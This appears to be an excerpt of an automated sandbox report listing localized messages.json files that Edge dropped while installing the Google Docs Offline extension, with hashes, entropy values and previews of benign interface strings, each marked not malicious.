C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
Preview:	{"createnew":{"message":"\u1021\u101e\u1005\u103a \u1015\u103c\u102f\u101c\u102f\u1015\u103a\u101b\u1014\u103a"},"explanationofflinedisabled":{"message":"\u101e\u1004\u103a \u1021\u1031\u102c\u1037\u1016\u103a\u101c\u102d\u102f\u1004\u103a\u1038\u1016\u103c\u1005\u103a\u1014\u1031\u1015\u102b\u101e\u100a\u103a\u104b \u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u1019\u103e\u102f \u1019\u101b\u103e\u102d\u1018\u1032 Google Docs \u1000\u102d\u102f \u1021\u101e\u102f\u1036\u1038\u1015\u103c\u102f\u101b\u1014\u103a \u1014\u1031\u102c\u1000\u103a\u1010\u1005\u103a\u1000\u103c\u102d\u1019\u103a \u101e\u1004\u103a\u1021\u1004\u103a\u1010\u102c\u1014\u1000\u103a\u1001\u103b\u102d\u1010\u103a\u1006\u1000\u103a\u101e\u100a\u1037\u103a\u1021\u1001\u102b Google Docs \u1015\u1004\u103a\u1019\u1005\u102c\u1019\u103b\u1000\u103a\u1014\u103e\u102c\u101b\u103e\u102d \u1006\u1000\u103a\u1010\u1004\u103a\u1019\u103b\u102c\u1038\u101e\u102d\u102f\u1037\u1

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ne\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1898
Entropy (8bit):	4.187050294267571
Encrypted:	false
SSDEEP:	24:1HAmQ6ZSWfAx6fLMr48tE/cAbJtUZJScSIQoAfboFMiQ9pdvz48YgqG:TQ6W6MbkcAltUJxQdfbqQ9pp0gqG
MD5:	B1083DA5EC718D1F2F093BD3D1FB4F37
SHA1:	74B6F050D918448396642765DEF1AD5390AB5282
SHA-256:	E6ED0A023EF31705CCCBAF1E07F2B4B2279059296B5CA973D2070417BA16F790
SHA-512:	7102B90ABBE2C811E8EE2F1886A73B1298D4F3D5D05F0FFDB57CF78B9A49A25023A290B255BAA4895BB150B388BAFD9F8432650B8C70A1A9A75083FFFCD74F1A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... ....... .........".. },.. "explanationofflinedisabled": {.. "message": "..... ...... .......... .... ........ .... .... Google ........ ...... .... ..... ..... ... .......... ....... .... Google ........ .......... ..... .......... .. ...... ..... .... ..... ......... .. ..........".. },.. "explanationofflineenabled": {.. "message": "..... ...... ........., .. ..... ... ... ...... ....... ....... .. .... ....... ....

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\nl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.513485418448461
Encrypted:	false
SSDEEP:	12:1HASvgFARCBxNBv52/fXjOXl6W6ICBxeBvMzU1CSUJAO6SFAIVIbCBhZHdb1tvz+:1HABJx4X6QDwEzlm2uGvYzKU
MD5:	32DF72F14BE59A9BC9777113A8B21DE6
SHA1:	2A8D9B9A998453144307DD0B700A76E783062AD0
SHA-256:	F3FE1FFCB182183B76E1B46C4463168C746A38E461FD25CA91FF2A40846F1D61
SHA-512:	E0966F5CCA5A8A6D91C58D716E662E892D1C3441DAA5D632E5E843839BB989F620D8AC33ED3EDBAFE18D7306B40CD0C4639E5A4E04DA2C598331DACEC2112AAD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NIEUW MAKEN".. },.. "explanationofflinedisabled": {.. "message": "Je bent offline. Wil je Google Documenten zonder internetverbinding gebruiken, ga dan de volgende keer dat je verbinding met internet hebt naar 'Instellingen' op de homepage van Google Documenten en zet 'Offline synchronisatie' aan.".. },.. "explanationofflineenabled": {.. "message": "Je bent offline, maar je kunt nog wel beschikbare bestanden bewerken of nieuwe bestanden maken.".. },.. "extdesc": {.. "message": "Bewerk, maak en bekijk je documenten, spreadsheets en presentaties. Allemaal zonder internettoegang.".. },.. "extname": {.. "message": "Offline Documenten".. },.. "learnmore": {.. "message": "Meer informatie".. },.. "popuphelptext": {.. "message": "Overal schrijven, bewerken en samenwerken, met of zonder internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\no\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	878
Entropy (8bit):	4.4541485835627475
Encrypted:	false
SSDEEP:	24:1HAqwwrJ6wky68uk+NILxRGJwBvDyrj9V:nwwQwky6W+NwswVyT
MD5:	A1744B0F53CCF889955B95108367F9C8
SHA1:	6A5A6771DFF13DCB4FD425ED839BA100B7123DE0
SHA-256:	21CEFF02B45A4BFD60D144879DFA9F427949A027DD49A3EB0E9E345BD0B7C9A8
SHA-512:	F55E43F14514EECB89F6727A0D3C234149609020A516B193542B5964D2536D192F40CC12D377E70C683C269A1BDCDE1C6A0E634AA84A164775CFFE776536A961
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPPRETT NYTT".. },.. "explanationofflinedisabled": {.. "message": "Du er uten nett. For . bruke Google Dokumenter uten internettilkobling, g. til innstillingene p. Google Dokumenter-nettsiden og sl. p. synkronisering uten nett neste gang du er koblet til Internett.".. },.. "explanationofflineenabled": {.. "message": "Du er uten nett, men du kan likevel endre tilgjengelige filer eller opprette nye.".. },.. "extdesc": {.. "message": "Rediger, opprett og se dokumentene, regnearkene og presentasjonene dine . uten nettilgang.".. },.. "extname": {.. "message": "Google Dokumenter uten nett".. },.. "learnmore": {.. "message": "Finn ut mer".. },.. "popuphelptext": {.. "message": "Skriv, rediger eller samarbeid uansett hvor du er, med eller uten internettilkobling.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\pa\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2766
Entropy (8bit):	3.839730779948262
Encrypted:	false
SSDEEP:	48:YEH6/o0iZbNCbDMUcipdkNtQjsGKIhO9aBjj/nxt9o5nDAj3:p6wbZbEbvJ8jQkIhO9aBjb/90Ab
MD5:	97F769F51B83D35C260D1F8CFD7990AF
SHA1:	0D59A76564B0AEE31D0A074305905472F740CECA
SHA-256:	BBD37D41B7DE6F93948FA2437A7699D4C30A3C39E736179702F212CB36A3133C
SHA-512:	D91F5E2D22FC2D7F73C1F1C4AF79DB98FCFD1C7804069AE9B2348CBC729A6D2DFF7FB6F44D152B0BDABA6E0D05DFF54987E8472C081C4D39315CEC2CBC593816
Malicious:	false
Preview:	{"createnew":{"message":"\u0a28\u0a35\u0a3e\u0a02 \u0a2c\u0a23\u0a3e\u0a13"},"explanationofflinedisabled":{"message":"\u0a24\u0a41\u0a38\u0a40\u0a02 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a39\u0a4b\u0964 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a15\u0a28\u0a48\u0a15\u0a36\u0a28 \u0a26\u0a47 \u0a2c\u0a3f\u0a28\u0a3e\u0a02 Google Docs \u0a28\u0a42\u0a70 \u0a35\u0a30\u0a24\u0a23 \u0a32\u0a08, \u0a05\u0a17\u0a32\u0a40 \u0a35\u0a3e\u0a30 \u0a1c\u0a26\u0a4b\u0a02 \u0a24\u0a41\u0a38\u0a40\u0a02 \u0a07\u0a70\u0a1f\u0a30\u0a28\u0a48\u0a71\u0a1f \u0a26\u0a47 \u0a28\u0a3e\u0a32 \u0a15\u0a28\u0a48\u0a15\u0a1f \u0a39\u0a4b\u0a35\u0a4b \u0a24\u0a3e\u0a02 Google Docs \u0a2e\u0a41\u0a71\u0a16 \u0a2a\u0a70\u0a28\u0a47 '\u0a24\u0a47 \u0a38\u0a48\u0a1f\u0a3f\u0a70\u0a17\u0a3e\u0a02 \u0a35\u0a3f\u0a71\u0a1a \u0a1c\u0a3e\u0a13 \u0a05\u0a24\u0a47 \u0a06\u0a2b\u0a3c\u0a32\u0a3e\u0a08\u0a28 \u0a38\u0a3f\u0a70\u0a15 \u0a28\u0a42\u0a70 \u0a1a\u0a3e\u0a32\u0a42 \u0a15\u0a30\u0a4b\u0964"},"expla

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\pl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	978
Entropy (8bit):	4.879137540019932
Encrypted:	false
SSDEEP:	24:1HApiJiRelvm3wi8QAYcbm24sK+tFJaSDD:FJMx3whxYcbNp
MD5:	B8D55E4E3B9619784AECA61BA15C9C0F
SHA1:	B4A9C9885FBEB78635957296FDDD12579FEFA033
SHA-256:	E00FF20437599A5C184CA0C79546CB6500171A95E5F24B9B5535E89A89D3EC3D
SHA-512:	266589116EEE223056391C65808255EDAE10EB6DC5C26655D96F8178A41E283B06360AB8E08AC3857D172023C4F616EF073D0BEA770A3B3DD3EE74F5FFB2296B
Malicious:	false
Preview:	{.. "createnew": {.. "message": "UTW.RZ NOWY".. },.. "explanationofflinedisabled": {.. "message": "Jeste. offline. Aby korzysta. z Dokument.w Google bez po..czenia internetowego, otw.rz ustawienia na stronie g..wnej Dokument.w Google i w..cz synchronizacj. offline nast.pnym razem, gdy b.dziesz mie. dost.p do internetu.".. },.. "explanationofflineenabled": {.. "message": "Jeste. offline, ale nadal mo.esz edytowa. dost.pne pliki i tworzy. nowe.".. },.. "extdesc": {.. "message": "Edytuj, tw.rz i wy.wietlaj swoje dokumenty, arkusze kalkulacyjne oraz prezentacje bez konieczno.ci ..czenia si. z internetem.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Wi.cej informacji".. },.. "popuphelptext": {.. "message": "Pisz, edytuj i wsp..pracuj, gdziekolwiek jeste. . niezale.nie od tego, czy masz po..czenie z internetem.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\pt_BR\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	907
Entropy (8bit):	4.599411354657937
Encrypted:	false
SSDEEP:	12:1HASvgU30CBxNd6GwXOK1styCJ02OK9+4KbCBxed6X4LBAt4rXgUCSUuYDHIIQka:1HAcXlyCJ5+Tsz4LY4rXSw/Q+ftkC
MD5:	608551F7026E6BA8C0CF85D9AC11F8E3
SHA1:	87B017B2D4DA17E322AF6384F82B57B807628617
SHA-256:	A73EEA087164620FA2260D3910D3FBE302ED85F454EDB1493A4F287D42FC882F
SHA-512:	82F52F8591DB3C0469CC16D7CBFDBF9116F6D5B5D2AD02A3D8FA39CE1378C64C0EA80AB8509519027F71A89EB8BBF38A8702D9AD26C8E6E0F499BF7DA18BF747
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Voc. est. off-line. Para usar o Documentos Google sem conex.o com a Internet, na pr.xima vez que se conectar, acesse as configura..es na p.gina inicial do Documentos Google e ative a sincroniza..o off-line.".. },.. "explanationofflineenabled": {.. "message": "Voc. est. off-line, mas mesmo assim pode editar os arquivos dispon.veis ou criar novos arquivos.".. },.. "extdesc": {.. "message": "Edite, crie e veja seus documentos, planilhas e apresenta..es sem precisar de acesso . Internet.".. },.. "extname": {.. "message": "Documentos Google off-line".. },.. "learnmore": {.. "message": "Saiba mais".. },.. "popuphelptext": {.. "message": "Escreva, edite e colabore onde voc. estiver, com ou sem conex.o com a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\pt_PT\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	914
Entropy (8bit):	4.604761241355716
Encrypted:	false
SSDEEP:	24:1HAcXzw8M+N0STDIjxX+qxCjKw5BKriEQFMJXkETs:zXzw0pKXbxqKw5BKri3aNY
MD5:	0963F2F3641A62A78B02825F6FA3941C
SHA1:	7E6972BEAB3D18E49857079A24FB9336BC4D2D48
SHA-256:	E93B8E7FB86D2F7DFAE57416BB1FB6EE0EEA25629B972A5922940F0023C85F90
SHA-512:	22DD42D967124DA5A2209DD05FB6AD3F5D0D2687EA956A22BA1E31C56EC09DEB53F0711CD5B24D672405358502E9D1C502659BB36CED66CAF83923B021CA0286
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CRIAR NOVO".. },.. "explanationofflinedisabled": {.. "message": "Est. offline. Para utilizar o Google Docs sem uma liga..o . Internet, aceda .s defini..es na p.gina inicial do Google Docs e ative a sincroniza..o offline da pr.xima vez que estiver ligado . Internet.".. },.. "explanationofflineenabled": {.. "message": "Est. offline, mas continua a poder editar os ficheiros dispon.veis ou criar novos ficheiros.".. },.. "extdesc": {.. "message": "Edite, crie e veja os documentos, as folhas de c.lculo e as apresenta..es, tudo sem precisar de aceder . Internet.".. },.. "extname": {.. "message": "Google Docs offline".. },.. "learnmore": {.. "message": "Saber mais".. },.. "popuphelptext": {.. "message": "Escreva edite e colabore onde quer que esteja, com ou sem uma liga..o . Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ro\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	937
Entropy (8bit):	4.686555713975264
Encrypted:	false
SSDEEP:	24:1HA8dC6e6w+uFPHf2TFMMlecFpweWV4RE:pC6KvHf4plVweCx
MD5:	BED8332AB788098D276B448EC2B33351
SHA1:	6084124A2B32F386967DA980CBE79DD86742859E
SHA-256:	085787999D78FADFF9600C9DC5E3FF4FB4EB9BE06D6BB19DF2EEF8C284BE7B20
SHA-512:	22596584D10707CC1C8179ED3ABE46EF2C314CF9C3D0685921475944B8855AAB660590F8FA1CFDCE7976B4BB3BD9ABBBF053F61F1249A325FD0094E1C95692ED
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREEAZ. UN DOCUMENT".. },.. "explanationofflinedisabled": {.. "message": "E.ti offline. Pentru a utiliza Documente Google f.r. conexiune la internet, intr. .n set.rile din pagina principal. Documente Google .i activeaz. sincronizarea offline data viitoare c.nd e.ti conectat(.) la internet.".. },.. "explanationofflineenabled": {.. "message": "E.ti offline, dar po.i .nc. s. editezi fi.ierele disponibile sau s. creezi altele.".. },.. "extdesc": {.. "message": "Editeaz., creeaz. .i acceseaz. documente, foi de calcul .i prezent.ri - totul f.r. acces la internet.".. },.. "extname": {.. "message": "Documente Google Offline".. },.. "learnmore": {.. "message": "Afl. mai multe".. },.. "popuphelptext": {.. "message": "Scrie, editeaz. .i colaboreaz. oriunde ai fi, cu sau f.r. conexiune la internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\ru\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1337
Entropy (8bit):	4.69531415794894
Encrypted:	false
SSDEEP:	24:1HABEapHTEmxUomjsfDVs8THjqBK8/hHUg41v+Lph5eFTHQ:I/VdxUomjsre8Kh4Riph5eFU
MD5:	51D34FE303D0C90EE409A2397FCA437D
SHA1:	B4B9A7B19C62D0AA95D1F10640A5FBA628CCCA12
SHA-256:	BE733625ACD03158103D62BC0EEF272CA3F265AC30C87A6A03467481A177DAE3
SHA-512:	E8670DED44DC6EE30E5F41C8B2040CF8A463CD9A60FC31FA70EB1D4C9AC1A3558369792B5B86FA761A21F5266D5A35E5C2C39297F367DAA84159585C19EC492A
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......".. },.. "explanationofflinedisabled": {.. "message": "..... ............ Google ......... ... ........., ............ . .... . ......... ............. . ......-...... . .......... .. ......... .........".. },.. "explanationofflineenabled": {.. "message": "... ........... . .......... .. ...... ......... ..... ..... . ............. .., . ....... ........ ......-.......".. },.. "extdesc": {.. "message": ".........., .............. . ............ ........., ....... . ........... ... ....... . ..........".. },.. "extname": {.. "message": "Google.......... ......".. },.. "learnmore": {.

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\si\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2846
Entropy (8bit):	3.7416822879702547
Encrypted:	false
SSDEEP:	48:YWi+htQTKEQb3aXQYJLSWy7sTQThQTnQtQTrEmQ6kiLsegQSJFwsQGaiPn779I+S:zhiTK5b3tUGVjTGTnQiTryOLpyaxYf/S
MD5:	B8A4FD612534A171A9A03C1984BB4BDD
SHA1:	F513F7300827FE352E8ECB5BD4BB1729F3A0E22A
SHA-256:	54241EBE651A8344235CC47AFD274C080ABAEBC8C3A25AFB95D8373B6A5670A2
SHA-512:	C03E35BFDE546AEB3245024EF721E7E606327581EFE9EAF8C5B11989D9033BDB58437041A5CB6D567BAA05466B6AAF054C47F976FD940EEEDF69FDF80D79095B
Malicious:	false
Preview:	{"createnew":{"message":"\u0db1\u0dc0 \u0dbd\u0dda\u0d9b\u0db1\u0dba\u0d9a\u0dca \u0dc3\u0dcf\u0daf\u0db1\u0dca\u0db1"},"explanationofflinedisabled":{"message":"\u0d94\u0db6 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2\u0dba. \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd \u0dc3\u0db8\u0dca\u0db6\u0db1\u0dca\u0db0\u0dad\u0dcf\u0dc0\u0d9a\u0dca \u0db1\u0ddc\u0db8\u0dd0\u0dad\u0dd2\u0dc0 Google Docs \u0db7\u0dcf\u0dc0\u0dd2\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8\u0da7, Google Docs \u0db8\u0dd4\u0dbd\u0dca \u0db4\u0dd2\u0da7\u0dd4\u0dc0 \u0db8\u0dad \u0dc3\u0dd0\u0d9a\u0dc3\u0dd3\u0db8\u0dca \u0dc0\u0dd9\u0dad \u0d9c\u0ddc\u0dc3\u0dca \u0d94\u0db6 \u0d8a\u0dc5\u0d9f \u0d85\u0dc0\u0dc3\u0dca\u0dae\u0dcf\u0dc0\u0dda \u0d85\u0db1\u0dca\u0dad\u0dbb\u0dca\u0da2\u0dcf\u0dbd\u0dba\u0da7 \u0dc3\u0db6\u0dd0\u0db3\u0dd2 \u0dc0\u0dd2\u0da7 \u0db1\u0ddc\u0db6\u0dd0\u0db3\u0dd2 \u0dc3\u0db8\u0db8\u0dd4\u0dc4\u0dd4\u0dbb\u0dca\u0dad \u0d9a\u0dd2\u0dbb\u0dd3\u0db8 \u0d9a\u0dca\u200d\u0dbb\u0dd2\u0dba\u0dc

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\sk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	934
Entropy (8bit):	4.882122893545996
Encrypted:	false
SSDEEP:	24:1HAF8pMv1RS4LXL22IUjdh8uJwpPqLDEtxKLhSS:hyv1RS4LXx38u36QsS
MD5:	8E55817BF7A87052F11FE554A61C52D5
SHA1:	9ABDC0725FE27967F6F6BE0DF5D6C46E2957F455
SHA-256:	903060EC9E76040B46DEB47BBB041D0B28A6816CB9B892D7342FC7DC6782F87C
SHA-512:	EFF9EC7E72B272DDE5F29123653BC056A4BC2C3C662AE3C448F8CB6A4D1865A0679B7E74C1B3189F3E262109ED6BC8F8D2BDE14AEFC8E87E0F785AE4837D01C7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVORI. NOV.".. },.. "explanationofflinedisabled": {.. "message": "Ste offline. Ak chcete pou.i. Dokumenty Google bez pripojenia na internet, po najbli..om pripojen. na internet prejdite do nastaven. na domovskej str.nke Dokumentov Google a.zapnite offline synchroniz.ciu.".. },.. "explanationofflineenabled": {.. "message": "Ste offline, no st.le m..ete upravova. dostupn. s.bory a.vytv.ra. nov..".. },.. "extdesc": {.. "message": ".prava, tvorba a.zobrazenie dokumentov, tabuliek a.prezent.ci.. To v.etko bez pr.stupu na internet.".. },.. "extname": {.. "message": "Dokumenty Google v re.ime offline".. },.. "learnmore": {.. "message": ".al.ie inform.cie".. },.. "popuphelptext": {.. "message": "P..te, upravujte a.spolupracuje, kdeko.vek ste, a.to s.pripojen.m na internet aj bez neho.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\sl\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	963
Entropy (8bit):	4.6041913416245
Encrypted:	false
SSDEEP:	12:1HASvgfECBxNFCEuKXowwJrpvPwNgEcPJJJEfWOCBxeFCJuGuU4KYXCSUXKDxX4A:1HAXMKYw8VYNLcaeDmKYLdX2zJBG5
MD5:	BFAEFEFF32813DF91C56B71B79EC2AF4
SHA1:	F8EDA2B632610972B581724D6B2F9782AC37377B
SHA-256:	AAB9CF9098294A46DC0F2FA468AFFF7CA7C323A1A0EFA70C9DB1E3A4DA05D1D4
SHA-512:	971F2BBF5E9C84DE3D31E5F2A4D1A00D891A2504F8AF6D3F75FC19056BFD059A270C4C9836AF35258ABA586A1888133FB22B484F260C1CBC2D1D17BC3B4451AA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "USTVARI NOVO".. },.. "explanationofflinedisabled": {.. "message": "Nimate vzpostavljene povezave. .e .elite uporabljati Google Dokumente brez internetne povezave, odprite nastavitve na doma.i strani Google Dokumentov in vklopite sinhronizacijo brez povezave, ko naslednji. vzpostavite internetno povezavo.".. },.. "explanationofflineenabled": {.. "message": "Nimate vzpostavljene povezave, vendar lahko .e vedno urejate razpolo.ljive datoteke ali ustvarjate nove.".. },.. "extdesc": {.. "message": "Urejajte, ustvarjajte in si ogledujte dokumente, preglednice in predstavitve . vse to brez internetnega dostopa.".. },.. "extname": {.. "message": "Google Dokumenti brez povezave".. },.. "learnmore": {.. "message": "Ve. o tem".. },.. "popuphelptext": {.. "message": "Pi.ite, urejajte in sodelujte, kjer koli ste, z internetno povezavo ali brez nje.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir6836_462055673\CRX_INSTALL\_locales\sr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1320
Entropy (8bit):	4.569671329405572
Encrypted:	false
SSDEEP:	24:1HArg/fjQg2JwrfZtUWTrw1P4epMnRGi5TBmuPDRxZQ/XtiCw/Rwh/Q9EVz:ogUg2JwDZe6rwKI8VTP9xK1CwhI94
MD5:	7F5F8933D2D078618496C67526A2B066
SHA1:	B7050E3EFA4D39548577CF47CB119FA0E246B7A4
SHA-256:	4E8B69E864F57CDDD4DC4E4FAF2C28D496874D06016BC22E8D39E0CB69552769
SHA-512:	0FBAB56629368EEF87DEEF2977CA51831BEB7DEAE98E02504E564218425C751853C4FDEAA40F51ECFE75C633128B56AE105A6EB308FD5B4A2E983013197F5DBA
Malicious:	false
